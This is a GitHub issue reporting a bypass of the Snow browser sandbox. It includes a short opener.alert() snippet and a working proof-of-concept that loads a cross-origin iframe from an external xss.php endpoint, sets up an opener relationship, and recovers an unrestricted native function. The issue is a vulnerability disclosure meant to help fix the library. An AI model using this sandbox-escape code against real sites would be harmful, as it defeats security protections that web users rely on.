Skip to content

Snow can be bypassed with opener.alert() #144

@terjanq

Description

@terjanq

It is possible to enable access to opener in various ways, e.g. opening two popups and using opener attribute on snow to perform the following:

// from: snow.playground
opener.location = 'about:blank';
// short sleep
opener.alert()

The above attack could be mitigated by banning opener property from the window object, however, it's possible to use an opener on a cross-origin iframe. The following PoC achieves just that with some other trickery to establish openee-opener relationship. Seems to be working in both Chrome and Firefox.

(async ()=>{
    const sleep = d => new Promise(r=>setTimeout(r,d));
    var x = document.createElement('iframe');
    x.name = '_bypass';
    x.src = `https://terjanq.me/xss.php?js=open('https://terjanq.me/xss.php?js=open("", "_bypass")')`;
    document.body.appendChild(x);
    await sleep(1000);
    _bypass.opener.location = 'about:blank';
    await sleep(500);
    const alert = _bypass.opener.alert;
    _bypass.opener.close();
    await sleep(100);
    alert.call(window, origin);
})();

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions